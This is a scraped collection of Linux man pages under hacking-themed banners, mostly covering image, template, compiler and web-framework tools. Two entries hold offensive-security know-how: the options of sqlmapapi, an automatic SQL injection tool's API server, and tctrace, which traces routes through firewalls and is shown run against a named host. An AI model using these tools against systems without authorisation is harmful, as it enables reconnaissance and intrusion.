Note that the PPM format specifies that the RGB values in the file are from the ITU-R Recommendation BT.709 color system, gamma-corrected. And positive. See ppm(1) for details. If you use one of the color system options on ppmcie, what you get is not a true PPM image, but is very similar. If you display such ppmcie output using a device that expects PPM input (which includes just about any computer graphics display program), it will display the wrong colors.

However, you may have a device that expects one of these variations on PPM.

In every RGB color system you can specify, including the default (which produces a true PPM image) there are hues in the color tongue that can’t be represented. For example, monochromatic blue-green with a wavelength of 500nm cannot be represented in a PPM image.

For these hues, ppmcie substitutes a similar hue as follows: They are desaturated and rendered as the shade where the edge of the Maxwell triangle intersects a line drawn from the requested shade to the white point defined by the color system’s white point. Furthermore, unless you specify the -full option, ppmcie reduces their intensity by 25% compared to the true hues in the image.

ppmcie draws and labels the CIE X-Y coordinate axes unless you choose otherwise with options.

ppmcie draws the Maxwell triangle for the color system in use on the color tongue. The Maxwell triangle is the triangle whose vertices are the primary illuminant hues for the color system. The hues inside the triangle show the color gamut for the color system. They are also the only ones that are correct for the CIE X-Y chromaticity coordinates shown. (See explanation above). ppmcie denotes the Maxwell triangle by rendering it at full brightness, while rendering the rest of the color tongue as 3/4 brightness. You can turn this off with options.

ppmcie also places a black cross at the color system’s white point (with the center of the cross open so you can actually see the white color) and displays in text the CIE X-Y chromaticities of the primary illuminants and white point for the color system. You can turn this off with options, though.

ppmcie annotates the periphery of the color tongue with the wavelength, in nanometers of the monochromatic hues which appear there.

ppmcie displays the black body chromaticity curve for Planckian radiators from 1000 to 30000 kelvins on the image. This curve traces the colors of black bodies as various temperatures.

You can choose from several standard color systems, or specify one of your own numerically.

CIE charts, by their very nature, contain a very large number of colors. If you’re encoding the chart for a color mapped device or file format, you’ll need to use pnmquant or ppmdither to reduce the number of colors in the image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmcie recognizes the following command line options:

You may abbreviate any option to its shortest unique prefix.

-rec709
-cie
-ebu
-hdtv
-ntsc
-smpte
Select a standard color system whose gamut to plot. The default is -rec709, which chooses ITU-R Recommendation BT.709, gamma-corrected. This is the only color system for which ppmcie’s output is a true PPM image. See explanation above. -ebu chooses the primaries used in the PAL and SECAM broadcasting standards. -ntsc chooses the primaries specified by the NTSC broadcasting system (few modern monitors actually cover this range). -smpte selects the primaries recommended by the Society of Motion Picture and Television Engineers (SMPTE) in standards RP-37 and RP-145, and -hdtv uses the much broader HDTV ideal primaries. -cie chooses a color system that has the largest possible gamut within the spectrum of the chart. This is the same color system as you get with the -cie option to John Walker’s cietoppm program.

-xy
plot CIE 1931 x y chromaticities. This is the default.

-upvp
plot u’ v’ 1976 chromaticities rather than CIE 1931 x y chromaticities. The advantage of u’ v’ coordinates is that equal intervals of distance on the u’ v’ plane correspond roughly to the eye’s ability to discriminate colors.

-red rx ry
specifies the CIE x and y co-ordinates of the red illuminant of a custom color system and selects the custom system.

-green gx gy
specifies the CIE x and y co-ordinates of the green illuminant of the color system and selects the custom system.

-blue bx by
specifies the CIE x and y co-ordinates of the blue illuminant of the color system and selects the custom system.

-white wx wy
specifies the CIE x and y co-ordinates of the white point of the color system and selects the custom system.

-size edge
Create an image of edge by edge pixels. The default is 512x512.

-xsize|-width width
Sets the width of the generated image to width pixels. The default width is 512 pixels. If the height and width of the image are not the same, the CIE diagram will be stretched in the longer dimension.

-ysize|-height height
Sets the height of the generated image to height pixels. The default height is 512 pixels. If the height and width of the image are not the same, the CIE diagram will be stretched in the longer dimension.

-noblack
Don’t plot the black body chromaticity curve.

-nowpoint
Don’t plot the color system’s white point.

-nolabel
Omit the label.

-noaxes
Don’t plot axes.

-full
Plot the entire CIE tongue in full brightness; don’t dim the part which is outside the gamut of the specified color system (i.e. outside the Maxwell triangle).

INTERPRETATION OF COLOR CHART

A color spectrum is a linear combination of one or more monochromatic colors.

A color is a set of color spectra that all look the same to the human eye (and brain). Actually, for the purposes of the definition, we assume the eye has infinite precision, so we can call two color spectra different colors even though they’re so close a person couldn’t possibly tell them apart.

The eye contains 3 kinds of color receptors (cones). Each has a different response to the various monochromatic colors. One kind responds most strongly to blue, another red, another green. Because there are only three, many different color spectra will excite the cones at exactly the same level, so the eye cannot tell them apart. All such spectra that excite the cones in the same way are a single color.

Each point in the color tongue represents a unique color. But there are an infinite number of color spectra in the set that is that color; i.e. an infinite number of color spectra that would look to you like this point. A machine could tell them apart, but you could not.

Remember that the colors outside the highlighted triangle are approximations of the real colors because the PPM format cannot represent them (and your display device probably cannot display them). That is, unless you’re using a variation of PPM and a special display device, as discussed earlier in this manual.

A color is always relative to some given maximum brightness. A particular beam of light looks lime green if in a dim field, but pea green if in a bright field. An image on a movie screen may look pitch black because the projector is not shining any light on it, but when you turn off the projector and look at the same spot in room light, the screen looks quite white. The same light from that spot hit your eye with the project on as with it off.

The chart shows two dimensions of color. The third is intensity. All the colors in the chart have the same intensity. To get all possible colors in the gamut, Make copies of the whole chart at every intensity between zero and the maximum.

The edge of the tongue consists of all the monochromatic colors. A monochromatic color is one with a single wavelength. I.e. a color that is in a rainbow. The numbers you see are the wavelengths in nanometers.

Any straight line segment within the tongue contains colors which are linear combinations of two colors – the colors at either end of the line segment.

Any color in the chart can be created from two other colors (actually, from any of an infinite number of pairs of other colors).

All the colors within a triangle inside the tongue can be created from a linear combination of the colors at the vertices of that triangle.

Any color in the tongue can be created from at most 3 monochromatic colors.

The highlighted triangle shows the colors that can be expressed in the tristimulus color system you chose. (ITU-R BT.709 by default). The corners of the triangle are the 3 primary illuminants in that system (a certain red, green, and blue for BT.709). The edges of the triangle, then, represent the colors you can represent with two of the primary illuminants (saturated colors), and the interior colors require all three primary illuminants (are not saturated).

In the ITU-R BT.709 color system (the default), the white point is defined as D65, which is (and is named after) the color of a black body at 6502 kelvins. Therefore, you should see the temperature curve on the image pass through the white part of the image, and the cross that marks the white point, at 6502 kelvins.

D65 white is supposed to be the color of the sun. If you have a perfect BT.709 display device, you should see the color of the sun at the white point cross. That’s an important color, because when you look at an object in sunlight, the color that reflects of the object is based on the color of sunlight. Note that the sun produces a particular color spectrum, but many other color spectra are the same color, and display devices never use the actual color spectrum of the sun.

The colors at the corners of the triangle have the chromaticities phosphors in a monitor that uses the selected color system. Note that in BT.709 they are very close to monochromatic red, green, and blue, but not quite. That’s why you can’t display even one true color of the rainbow on a video monitor.

Remember that the chart shows colors of constant intensity, therefore the corners of the triangles are not the full colors of the primary illuminants, but only their chromaticities. In fact, the illuminants typically have different intensities. In BT.709, the blue primary illuminant is far more intense than the green, which is more intense than the red. Designers did this in order to make an equal combination of red, green, and blue generate gray. I.e. a combination of full strength red, full strength green, and full strength blue BT.709 primary illuminants is D65 white.

The tongue has a sharp straight edge at the bottom because that’s the limit of human vision. There are colors below that line, but they involve infrared and ultraviolet light, so you can’t see them. This line is called the “line of purples.”

SEE ALSO

ppmdither(1) , pnmquant(1) , ppm(1)

AUTHOR

Copyright (C) 1995 by John Walker ([email protected])

WWW home page: http://www.fourmilab.ch/

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions. This software is provided as is without express or implied warranty.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmcie.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

934 - Linux cli command tilt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tilt and provides detailed information about the command tilt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tilt.

NAME 🖥️ tilt 🖥️

Generic interface to multiple Ruby template engines

SYNOPSIS

tilt <options> <file>

DESCRIPTION

Process template <file> and write output to stdout. With no <file> or when <file> is ‘-’, read template from stdin and use the –type option to determine the template’s type.

Options

-l, –list
List template engines + file patterns and exit

-t, –type=<pattern> Use this template engine; required if no <file>

-y, –layout=<file>
Use <file> as a layout template

-D<name>=<value>
Define variable <name> as <value>

-o, –vars=<ruby>
Evaluate <ruby> to Hash and use for variables

-h, –help
Show this help message

Convert markdown to HTML:

$ tilt foo.markdown > foo.html

Process ERB template:

$ echo “Answer: <%= 2 + 2 %>” | tilt -t erb Answer: 4

Define variables:

$ echo “Answer: <%= 2 + n %>” | tilt –locals="{:n=>40, :x=>0}" Answer: 42 $ echo “Answer: <%= 2 + n %>” | tilt -Dn=40 -Dx=0 Answer: 42

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

935 - Linux cli command pammasksharpen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pammasksharpen and provides detailed information about the command pammasksharpen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pammasksharpen.

.

NAME 🖥️ pammasksharpen 🖥️

Sharpen an image via an unsharp mask

SYNOPSIS

pammasksharpen [**-sharpness=realnum] [-threshold=**realnum] maskfile [inputfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

EXAMPLES

   pamgauss 5 5 -sigma=.7 -tupletype=GRAYSCALE | pamtopnm > gauss.pgm
   pnmconvol -nooffset gauss.pgm myimage.ppm > blurred.ppm
   pammasksharpen blurred.ppm myimage.ppm > sharpened.ppm

DESCRIPTION

This program is part of Netpbm(1) .

pammasksharpen reads a Netpbm image as input and produces a sharpened version of it, in the same format, as output. It does this via an unsharp mask, which you supply as another Netpbm image.

An unsharp mask is generally a blurred version of the original image. The sharpening computation is this: Calculate the “edgeness” of a sample in the input image as the signed difference between the sample value and the corresponding sample in the unsharp mask. This tells how different the pixel is from its neighbors. Add a multiple of the edgeness to the original sample to get the corresponding output sample. Clip as necessary. This causes pixels that are brighter than their neighbors to get even brighter, while pixels that are dimmer than their neighbors get even dimmer. This makes edges – places where pixel values change quickly in space – stand out more.

The unsharp mask must be the same dimensions and have the same maxval as the input image.

The Unsharp Mask

You usually create the unsharp mask as a Gaussian blur of the original image, which you can do using pamgauss and pnmconvol as in the example above. The convolution kernel you use with pnmconvol is normally a square with side length an odd number of pixels.

When you create an unsharp mask like this, you will have to choose the side length of the convolution kernel. That length implements the parameter of unsharp mask sharpening usually known as “radius.” In particular, a radius of R pixels corresponds to a convolution kernel 2R+1 pixels on a side.

Radius is a very important parameter; you can ruin an image with a radius too large. You can safely use the highest radius with an inanimate object, while a human face demands the least. Landscapes fall in between. But it really depends on the size of the details. Fine detail needs a smaller radius, or else you may obliterate tiny detail of the same size as the Radius width. A large image often has larger detail (more pixels involved), so can use a larger radius. Radius and sharpness (see -sharpness option) interact: reducing one allows you to increase the other.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pammasksharpen recognizes the following command line options:

**-sharpness=**realnum
This specifies the magnitude of the sharpening. It is the multiple of edgeness that gets added to each sample as described above.

realnum is a nonnegative real decimal number. Zero means no sharpening at all.

This parameter is known as “amount” in ImageMagick.

The default is 1.0.

This option was new in Netpbm 10.30 (October 2005). Before that, the sharpness was always 1.0.

**-threshold=**realnum
This minimum amount of edgeness that will be considered edgeness at all. i.e. if the magnitude of the edgeness is less than this, pammasksharpen will treat the edgeness as zero.

A nonzero value may be necessary here to avoid speckling in smooth areas.

This is a fraction of the maxval (so it is in the range [0, 1.0]).

The default is 0.

This option was new in Netpbm 10.34 (June 2006).

SEE ALSO

pnmconvol(1) , pamedge(1) , pamsharpness(1) , pamsharpmap(1) , pamarith(1) , pnm(1) , pam(1)

HISTORY

pammasksharpen was new in Netpbm 10.23 (July 2004).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pammasksharpen.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

936 - Linux cli command spkacssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command spkacssl and provides detailed information about the command spkacssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the spkacssl.

NAME 🖥️ spkacssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

937 - Linux cli command recovermov

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command recovermov and provides detailed information about the command recovermov, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the recovermov.

NAME 🖥️ recovermov 🖥️

recover movies from a filesystem image

SYNOPSIS

recovermov [options] device

DESCRIPTION

Recovermov tries to identify mov movies from a filesystem image. To achieve this goal, it scans the filesystem image and looks for a mov structure at blocks starting at 512 bytes boundaries.

recovermov stores the recovered movies into the current directory. If you want it to store them elsewhere, just go to the directory you want recovermov to save the movies into (using the cd command at the shell prompt) and start recovermov from there, or use the -o option.

Note that device is not necessarily a physical device. It may also be a file containing a copy of the faulty device in order to reduce the actual processing time and the stress imposed to an already defective hardware. dd(1) or ddrescue(1) may be used to create such a working copy.

OPTIONS

-h
Display an help message.

-b blocksize
Set the size of blocks in bytes. On most file systems, setting it to 512 (the default) will work fine as any large file will be stored on 512 bytes boundaries. Setting it to 1 maximize the chances of finding very small files if the filesystems aggregates them (UFS for example) at the expense of a much longer running time.

-i integerindex
Set the initial index value for image numbering (default: 0).

-n basename
Basename to use to create the salvaged files. Default is video_.

-o directory
Change the working directory before restoring files. Use this option to restore files into a directory with enough space instead of the current directory. This option can be repeated.

-V
Display program version and exit.

All the sizes may be suffixed by a k, m, g, or t letter to indicate KiB, MiB, GiB, or TiB. For example, 6m correspond to 6 MiB (6291456 bytes).

EXAMPLES

Recover as many movies as possible from the memory card located in /dev/sdc:

recovermov /dev/sdc

Recover as many movies as possible from a crashed ReiserFS file system (which does not necessarily store files at block boundaries) in /dev/hdb1:

recovermov -b 1 /dev/hdb1

COPYRIGHT

Copyright (c) 2010-2016 Samuel Tardieu <[email protected]> and Jan Funke <[email protected]>. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

recoverjpeg(1)

AUTHORS

Jan Funke <[email protected]> and Samuel Tardieu <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

938 - Linux cli command sqlmapapi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqlmapapi and provides detailed information about the command sqlmapapi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqlmapapi.

NAME 🖥️ sqlmapapi 🖥️

automatic SQL injection tool, api server

SYNOPSIS

sqlmapapi [options]

OPTIONS

-h, –help
show this help message and exit

-s, –server
Run as a REST-JSON API server

-c, –client
Run as a REST-JSON API client

-H HOST, –host=HOST
Host of the REST-JSON API server (default “127.0.0.1”)

-p PORT, –port=PORT
Port of the the REST-JSON API server (default 8775)

–adapter=ADAPTER
Server (bottle) adapter to use (default “wsgiref”)

–username=USERNAME
Basic authentication username (optional)

–password=PASSWORD
Basic authentication password (optional)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

939 - Linux cli command tctrace

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tctrace and provides detailed information about the command tctrace, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tctrace.

NAME 🖥️ tctrace 🖥️

similar to traceroute, yet uses TCP SYN packets

DESCRIPTION

This manual page documents briefly the tctrace command. This manual page was written for the Debian distribution because the original program does not have a manual page.

TCtrace is like itrace a traceroute(1) brother - but it uses TCP SYN packets to trace.

This makes it possible for you to trace through firewalls if you know one TCP service that is allowed to pass from the outside.

Typical Usage:

tctrace -i eth0 -d www.phenoelit.de

-v verbose

-n reverse lookup answering IPs (slow!)

-p x send x probes per hop (default=3)

-m x set TTL max to x (default=30)

-t x timeout after x seconds (default=3)

-D x destination port x (default=80)

-S x source port x (default=1064)

-i interface the normal eth0 stuff

-d destination Name or IP of destination

Note there have been bugs reported on tctrace. It sometimes has a mind of its own.

AUTHOR

This manual page was written by Vince Mulhollon <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

940 - Linux cli command llvm-tli-checker-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-tli-checker-16 and provides detailed information about the command llvm-tli-checker-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-tli-checker-16.

NAME 🖥️ llvm-tli-checker-16 🖥️

tli-checker - TargetLibraryInfo vs library checker

SYNOPSIS

llvm-tli-checker [options] [library-file…]

DESCRIPTION

llvm-tli-checker compares TargetLibraryInfo’s opinion of the availability of library functions against the set of functions exported by the specified library files, reporting any disagreements between TLI’s opinion and whether the function is actually present. This is primarily useful for vendors to ensure the TLI for their target is correct, and the compiler will not “optimize” some code sequence into a library call that is not actually available.

EXAMPLE

$ llvm-tli-checker –triple x86_64-scei-ps4 example.so TLI knows 466 symbols, 235 available for ‘x86_64-scei-ps4’

Looking for symbols in 'example.so'
Found 235 global function symbols in 'example.so'
Found a grand total of 235 library symbols
<< TLI yes SDK no:  '_ZdaPv' aka operator delete[](void*)
>> TLI no  SDK yes: '_ZdaPvj' aka operator delete[](void*, unsigned int)
<< Total TLI yes SDK no:  1
>> Total TLI no  SDK yes: 1
== Total TLI yes SDK yes: 234
FAIL: LLVM TLI doesn't match SDK libraries.

OPTIONS

–dump-tli
Print “available”/”not available” for each library function, according to TargetLibraryInfo’s information for the specified triple, and exit. This option does not read any input files.

–help, -h
Print a summary of command line options and exit.

–libdir=<directory>
A base directory to prepend to each library file path. This is handy when there are a number of library files all in the same directory, or a list of input filenames are kept in a response file.

–report=<level>
The amount of information to report. <level> can be summary, discrepancy, or full. A summary report gives only the count of matching and mis-matching symbols; discrepancy lists the mis-matching symbols; and full lists all symbols known to TLI, matching or mis-matching. The default is discrepancy.

–separate
Read and report a summary for each library file separately. This can be useful to identify library files that don’t contribute anything that TLI knows about. Implies –report=summary (can be overridden).

–triple=<triple>
The triple to use for initializing TargetLibraryInfo.

@<FILE>
Read command-line options and/or library names from response file <FILE>.

EXIT STATUS

llvm-tli-checker returns 0 even if there are mismatches. It returns a non-zero exit code if there is an unrecognized option, or no input files are provided.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

941 - Linux cli command proutes3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command proutes3 and provides detailed information about the command proutes3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the proutes3.

NAME 🖥️ proutes3 🖥️

Python 3 Pyramid command

DESCRIPTION

usage: proutes3 [-h] [-g GLOB] [-f FORMAT] [config_uri] [config_vars …]

Print all URL dispatch routes used by a Pyramid application in the order in which they are evaluated. Each route includes the name of the route, the pattern of the route, and the view callable which will be invoked when the route is matched.

This command accepts one positional argument named ‘config_uri’. It specifies the PasteDeploy config file to use for the interactive shell. The format is ‘inifile#name’. If the name is left off, ‘main’ will be assumed. Example: ‘proutes myapp.ini’.

positional arguments:

config_uri
The URI to the configuration file.

config_vars
Variables required by the config file. For example, `http_port=%(http_port)s` would expect `http_port=8080` to be passed here.

options:

-h, –help
show this help message and exit

-g GLOB, –glob GLOB
Display routes matching glob pattern

-f FORMAT, –format FORMAT
Choose which columns to display, this will override the format key in the [proutes] ini section

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

